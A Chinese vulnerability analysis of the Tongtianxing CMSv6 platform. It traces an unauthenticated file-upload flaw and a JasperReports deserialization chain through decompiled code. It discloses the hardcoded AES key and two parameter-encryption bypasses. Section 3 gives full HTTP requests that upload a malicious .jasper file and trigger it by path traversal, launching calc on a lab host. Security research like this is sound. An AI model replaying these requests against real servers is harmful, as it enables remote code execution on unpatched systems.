通天星CMSv6 Japser反序列化漏洞分析
一、版本说明
根据通告得知漏洞在7.33.0.7_20240508及其以下有效。实测发现:
1、上传接口在7.33.0.7_20240508及其以下有效:
2、反序列化链条:最新版7.34.0.7_20240719版本仍然存在
二、漏洞分析
2.1 路由参数加密
2.1.1 参数加密过程和Bypass
通天星有的路由需要将参数进行加密后才能进行正常的传参请求,不然响应会报错:param_must_encry/参数必须加密参数
,result响应1。如果是提示result响应2的话,则是表示该路由需要登录后才能访问。所有的错误码可以在这里查找808gps/js/lang.js
对应的含义。
public.js
含有对参数加密的前台js加密代码。其中encrypt
通过对aes ecb模式进行加密。其中密钥key
可以在后续js代码进行查看。
/**
* AES encryption (need to load lib/aes/aes.min.js file first)
* @param word
* @returns {*}
*/
function encrypt(word, key) {
if (!word){
return '';
}
var key = CryptoJS.enc.Utf8.parse(key);
var srcs = CryptoJS.enc.Utf8.parse(word);
var encrypted = CryptoJS.AES.encrypt(srcs, key, {mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7});
return encrypted.toString();
}
getKey()
是获取密钥的代码,可以看到密钥直接硬编码在js里面是ttx123456Aes1234
。参数可以通过加密后就能传输了。
var webParseKey = '';
function getKey() {
if(webParseKey){
return webParseKey;
}
var ret = "ttx";
var str = "Aes1234";
webParseKey = ret + getNumberKey() + str;
return webParseKey;
}
除了按照正常流程对其参数进行加密后再请求,还可以通过特定的路由进行参数加密绕过。在struts.xml
配置文件可以发现有定义filter,filter文件夹在webapps/gpsweb/WEB-INF/classes/com/gpsCommon/filter
,其中com.gpsCommon.filter.DecryptFilter::doFilter()
有说明是OPTION
方法请求、http请求包中存在ttxdownload
头就可以不用参数加密就进入后续拦截器,最后正常发送请求。
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException, BusinessException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
XssHttpServletRequestWrapperNew requestWrapper = new XssHttpServletRequestWrapperNew(request);
String url = request.getRequestURI();
if (!"OPTIONS".equalsIgnoreCase(request.getMethod()) && !this.isStaticResource(url)) {
String ttxdownLoad = request.getHeader("ttxdownLoad");
if (StringUtils.isNotBlank(ttxdownLoad)) {
chain.doFilter(requestWrapper, servletResponse);
} else {
......
在判断是否是OPTION
方法的同时如果uri存在静态资源路径,也可以不用加密。在isStaticResource()
可以查看:
public final boolean isStaticResource(String url) {
boolean result = false;
if (StringUtils.isBlank(url)) {
return result;
} else if (!Objects.equal("/", url) && !url.startsWith("/ws") && !url.startsWith("/wss") && !url.startsWith("/h5/") && !url.startsWith("/examh5") && !url.startsWith("/js/") && !url.startsWith("/css/") && !url.startsWith("/font/") && !url.startsWith("/gener/") && !url.startsWith("/geo/") && !url.startsWith("/images/") && !url.startsWith("/map/") && !url.startsWith("/mobile/") && !url.startsWith("/offlinemap/") && !url.startsWith("/product/") && !url.startsWith("/safeProductTemplate/") && !url.startsWith("/template/") && !url.startsWith("/upgrade/") && !url.startsWith("/upload/") && !url.startsWith("/uploadZip/")) {
int start = url.lastIndexOf(".");
if (start < 0) {
return result;
} else {
String prex = url.substring(start, url.length());
return this.staticResourceTypes.contains(prex);
}
} else {
return true;
}
}
结合通天星使用的是tomcat web服务器(解析分号和问号),可以这样绕过参数加密,例如/ws/..;/StandardPositionAction_refreshGpsStatus.action
,然后参数正常按照请求方式请求即可。
2.2.2 哪些路由的参数需要加密?
struts.xml
文件有定义通天性访问路由的两种格式:**/*_*.action
(web请求通用配置)和*_*.action
(api请求通用配置)。这两种形式的路由都要进行参数加密。
<!-- =========web请求通用配置========== -->
<action name="**/*_*.action" class="{2}" method="{3}">
<result type="customjson"/>
<result name="input" type="customjson"/>
<result name="excel" type="stream">
<param name="contentType">application/vnd.ms-excel</param>
<param name="inputName">excelStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">4096</param>
</result>
<result name="csv" type="stream">
<param name="contentType">application/csv</param>
<param name="inputName">excelStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">4096</param>
</result>
<result name="pdf" type="stream">
<param name="contentType">application/pdf</param>
<param name="inputName">excelStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">2048</param>
</result>
<result name="image" type="stream">
<param name="contentType">image/jpeg</param>
<param name="inputName">inputStream</param>
</result>
<result name="media" type="stream">
<param name="contentType">application/*</param>
<param name="inputName">fileInputStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">2048</param>
</result>
<result name="zip" type="stream">
<param name="contentType">application/x-msdownload</param>
<param name="inputName">excelStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">4096</param>
</result>
<result name="video" type="stream">
<!-- 下载文件类型定义 -->
<param name="contentType">application/octet-stream</param>
<!-- 下载文件输出流定义 -->
<param name="inputName">inputStream</param>
<!-- 下载文件处理方式 -->
<param name="contentDisposition">attachment;filename="${fileName}"</param>
<!-- 下载文件的缓冲大小 -->
<param name="bufferSize">4096</param>
</result>
<!-- 页面重定向 -->
<!-- <result name="redirect" type="redirect">
<param name="location">/808gps/index.html</param>
<param name="clientLogin">2</param>
<param name="userSession">${userSession}</param>
</result> -->
</action>
<!-- =========API请求通用配置========== -->
<action name="*_*.action" class="{1}" method="{2}">
<result type="customjson"/>
<result name="input" type="customjson"/>
<result name="excel" type="stream">
<param name="contentType">application/vnd.ms-excel</param>
<param name="inputName">excelStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">4096</param>
</result>
<result name="csv" type="stream">
<param name="contentType">application/csv</param>
<param name="inputName">excelStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">4096</param>
</result>
<result name="pdf" type="stream">
<param name="contentType">application/pdf</param>
<param name="inputName">excelStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">2048</param>
</result>
<result name="image" type="stream">
<param name="contentType">image/jpeg</param>
<param name="inputName">inputStream</param>
</result>
<result name="media" type="stream">
<param name="contentType">application/*</param>
<param name="inputName">fileInputStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">2048</param>
</result>
<result name="zip" type="stream">
<param name="contentType">application/x-msdownload</param>
<param name="inputName">excelStream</param>
<param name="contentDisposition">attachment;filename="${excelFile}"</param>
<param name="bufferSize">4096</param>
</result>
<result name="video" type="stream">
<!-- 下载文件类型定义 -->
<param name="contentType">application/octet-stream</param>
<!-- 下载文件输出流定义 -->
<param name="inputName">inputStream</param>
<!-- 下载文件处理方式 -->
<param name="contentDisposition">attachment;filename="${fileName}"</param>
<!-- 下载文件的缓冲大小 -->
<param name="bufferSize">4096</param>
</result>
<!-- 页面重定向 -->
<!-- <result name="redirect" type="redirect">
<param name="location">/808gps/index.html</param>
<param name="clientLogin">2</param>
<param name="userSession">${userSession}</param>
</result> -->
</action>
2.2 Jasper反序列化链条
webapps/gpsweb/WEB-INF/classes/com/gps808/operationManagement/action/StandardLineAction.class
的report
方法应该是生成各类报告的接口,其中get方式获取的name参数未经过滤传入print = this.getReportCreate().createReport(name);
。
public void report() {
try {
String format = this.getRequestString("format");//导出格式,测试发现可选html、pdf、xlxs
String name = this.getRequestString("name");//报告名
String lid = this.getRequestString("id");//公告id
String direct = this.getRequestString("direct");//偏移量
String disposition = this.getRequestString("disposition");//显示方式
String reportTitle = "";
StandardCompany line = (StandardCompany)this.standardLineService.getObject(StandardCompany.class, Integer.parseInt(lid));
if (line != null) {
reportTitle = line.getName();
if (direct != null) {
if (direct.equals("0")) {
reportTitle = reportTitle + "S";
} else if (direct.equals("1")) {
reportTitle = reportTitle + "X";
}
}
}
AjaxDto<StandardLineStationRelationStation> stationRelation = this.standardLineService.getLineStationInfos(Integer.parseInt(lid), Integer.parseInt(direct), 1, " order by sindex asc ", (List)null, (Pagination)null);
List<Map> list = new ArrayList();
String language = this.getAndUpdateSessionLanguage();
if (stationRelation != null && stationRelation.getPageList() != null) {
int i = 0;
for(int j = stationRelation.getPageList().size(); i < j; ++i) {
StandardLineStationRelationStation relation = (StandardLineStationRelationStation)stationRelation.getPageList().get(i);
Map map = new HashMap();
map.put("sindex", relation.getSindex());
map.put("name", relation.getStation().getName());
map.put("direct", this.getStationDirectEx(relation.getStation().getDirect(), language));
map.put("stype", this.getStationTypeEx(relation.getStype(), language));
map.put("lngIn", GpsUtil.formatPosition(relation.getStation().getLngIn()));
map.put("latIn", GpsUtil.formatPosition(relation.getStation().getLatIn()));
map.put("angleIn", relation.getStation().getAngleIn());
map.put("speed", GpsUtil.getFormatSpeed(relation.getSpeed(), 1, new Boolean[0]));
map.put("len", GpsUtil.getFormatLiCheng(relation.getLen()));
list.add(map);
}
}
Map mapHeads = new HashMap();
mapHeads.put("sindex", LanguageCache.getLanguageTextEx("line_station_index", language));
mapHeads.put("name", LanguageCache.getLanguageTextEx("line_station_name", language));
mapHeads.put("direct", LanguageCache.getLanguageTextEx("line_station_direction", language));
mapHeads.put("stype", LanguageCache.getLanguageTextEx("line_station_type", language));
mapHeads.put("lngIn", LanguageCache.getLanguageTextEx("line_station_in_lng", language));
mapHeads.put("latIn", LanguageCache.getLanguageTextEx("line_station_in_lat", language));
mapHeads.put("angleIn", LanguageCache.getLanguageTextEx("line_station_in_angle", language));
mapHeads.put("speed", LanguageCache.getLanguageTextEx("line_station_limit_speed", language) + " (KM/H)");
mapHeads.put("len", LanguageCache.getLanguageTextEx("line_station_distance", language) + " (KM)");
ReportPrint print = null;
try {
print = this.getReportCreate().createReport(name);//触发JasperReport库
print.setMapHeads(mapHeads);
print.setReportTitle(reportTitle);
print.setDateSource(list);
print.setFormat(format);
print.setDocumentName(name);
print.setDisposition(disposition);
print.exportReport();
} catch (IOException var15) {
this.log.error(var15.getMessage(), var15);
} catch (ServletException var16) {
this.log.error(var16.getMessage(), var16);
} catch (Exception var17) {
this.log.error(var17.getMessage(), var17);
}
} catch (Exception var18) {
this.log.error(var18.getMessage(), var18);
this.addCustomResponse(ACTION_RESULT, 1);
}
}
this.getReportCreate().createReport(name);
这里调用了com/gpsCommon/action/CommonBaseAction.class
的getReportCreate
方法:
protected ReportCreater getReportCreate() {
if (this.reportCreate == null) {
this.reportCreate = new ReportCreater();
this.reportCreate.setJasperReportPath(ServletActionContext.getServletContext().getRealPath("WEB-INF/jasper"));
}
return this.reportCreate;
}
默认在webapps/gpsweb/WEB-INF/jasper
目录下读取jasper文件。返回com/framework/jasperReports/ReportCreater.class
类,继续调用com/framework/jasperReports/ReportCreater.class::createReport()
方法。继续跟进在_createReport()
方法发现调用了getJasperReport(reportKey)
,reportKey
承接的是外部get传入的name
参数值。
public ReportPrint createReport(String reportKey) throws IOException {
try {
return this._createReport(reportKey);
} catch (JRException var3) {
this.log.error(var3.getMessage(), var3);
throw new IOException();
}
}
private ReportPrint _createReport(String reportKey) throws JRException, IOException {
JasperReport jasperReport = this.getJasperReport(reportKey);
Map parameters = this.getParameters_(reportKey);
return new ReportPrint(jasperReport, parameters);
}
private JasperReport getJasperReport(String reportKey) throws IOException, JRException {
JasperReport jasperReport = null;
if (this.jasperDesignMap.containsKey(reportKey)) {
jasperReport = (JasperReport)this.jasperDesignMap.get(reportKey);
} else {
jasperReport = this.getJasperReportFromFile(reportKey);
this.jasperDesignMap.put(reportKey, jasperReport);
}
return jasperReport;
}
getJasperReport(reportKey)
这段代码主要目的是确保每次请求相同的报告时,只需编译一次报告模板,并将其存储在缓存中供后续使用,从而提高性能并减少资源消耗。如果缓存中已经存在对应的 JasperReport,则直接从缓存中获取;否则,从文件系统加载并编译报告模板,然后将编译好的报告存入缓存。但通常情况下从WEB-INF/jasper
目录下读取jasper文件即可。
private JasperReport getJasperReportFromFile(String reportKey) throws IOException, JRException {
String filePath = this.jasperReportPath + File.separator + reportKey + ".jasper";//固定后缀名
File reportFile = null;
JasperReport jasperReport = null;
reportFile = new File(filePath);
if (reportFile.exists() && reportFile.isFile()) {
jasperReport = (JasperReport)JRLoader.loadObject(reportFile);
}
return jasperReport;
}
getJasperReportFromFile
固定了读取jasper文件。文件存在进入JasperReport-6.4.0.jar包的net/sf/jasperreports/engine/util/JRLoader.class::loadObject()
进行反序列化。
public static Object loadObject(File file) throws JRException {
return loadObject(DefaultJasperReportsContext.getInstance(), (File)file);
}
public static Object loadObject(JasperReportsContext jasperReportsContext, File file) throws JRException {
if (file.exists() && file.isFile()) {
Object obj = null;
FileInputStream fis = null;
ContextClassLoaderObjectInputStream ois = null;
try {
fis = new FileInputStream(file);
BufferedInputStream bufferedIn = new BufferedInputStream(fis);
ois = new ContextClassLoaderObjectInputStream(jasperReportsContext, bufferedIn);
obj = ois.readObject();
最后通过net/sf/jasperreports/engine/util/ContextClassLoaderObjectInputStream.class
在没有对jasper文件进行内容检测的情况下就直接反序列化。
2.3 上传Jasper接口
- 方式一:ftp上传
7.33.0.7_20240508
以前的版本环境默认开启ftp默认端口2121
,且默认匿名用户可访问(空用户名和空密码)。可以通过ftp上传jasper文件。
-
方式二:
com.framework.web.action.FileUploadAction::upload()
上传com.framework.web.action.FileUploadAction::upload()
没有检测上传文件后缀名和文件名的目录遍历就上传了。上传的路径是从C:\
根目录开始的,上传文件名也没有更改。public void upload() { for(int i = 0; i < this.uploadFileFileName.size(); ++i) { BufferedInputStream bis = null; BufferedOutputStream bos = null; String fileName = (String)this.uploadFileFileName.get(i);//获取文件名 try { if (!"".equals(fileName)) {//文件名不会为空 FileInputStream fis = new FileInputStream((File)this.uploadFile.get(i)); FileOutputStream fos = new FileOutputStream("C:\\" + fileName);//默认在c盘根目录开始上传文件 bis = new BufferedInputStream(fis); bos = new BufferedOutputStream(fos); byte[] b = new byte[1024]; int len = true; int len; while((len = bis.read(b)) != -1) { bos.write(b, 0, len); } } } catch (Exception var17) { } finally { try { if (bis != null) { bis.close(); } if (bos != null) { bos.close(); } } catch (IOException var16) { } } } } public String image() throws Exception { try { this.upload(); } catch (Exception var2) { this.log.error(var2.getMessage(), var2); this.addCustomResponse(ACTION_RESULT, 1); } return "success"; }
/webapps/gpsweb/WEB-INF/lib
文件下能看到使用的第三方库有commons-beanutils-1.8.0.jar
,可以cb链进行后续触发。
三、漏洞复现
3.1 upload接口上传jasper文件
post请求发送以下http报文,其中jasper文件内容含有反序列化不可见字符,通过html表单提交。com.framework.web.action.FileUploadAction::upload()
不在struts.xml文件中的定义里,因此需要使用全类名进行访问,也就不需要bypass参数加密。
POST /com.framework.web.action.FileUploadAction_upload.action HTTP/1.1
Host: 192.168.8.164:88
Content-Length: 395
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvl1q2bEhAS3C02LB
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=A66DB2E5A3D0640A3AF28A27FF7FF2FF;
Connection: close
------WebKitFormBoundaryvl1q2bEhAS3C02LB
Content-Disposition: form-data; name="uploadFile";filename="calc.jasper";
Content-Type: application/
<jasper文件内容>
------WebKitFormBoundaryvl1q2bEhAS3C02LB
Content-Disposition: form-data; name="uploadFileFileName";
qqqq.jasper
------WebKitFormBoundaryvl1q2bEhAS3C02LB--
响应200表示上传成功,默认上传的路径在C:\
盘根目录。
3.2 Jasper文件反序列化
触发上一步弹计算器的cb链Jasper文件:
OPTION /StandardLineAction_report.action?name=../../../../../../../calcwin&id=10&direct=0 HTTP/1.1
Host: 192.168.8.158:88
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=D95C057F20ACA15D3B45547AE87DE282; JSESSIONID=D95C057F20ACA15D3B45547AE87DE282
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
响应200,此处情况表示成功:
查看服务器进程可以看到calc已经被触发启动了:
四、总结
国内很多应用对JapserReport的反序列化修复不彻底,很容易挖掘出新环节的漏洞。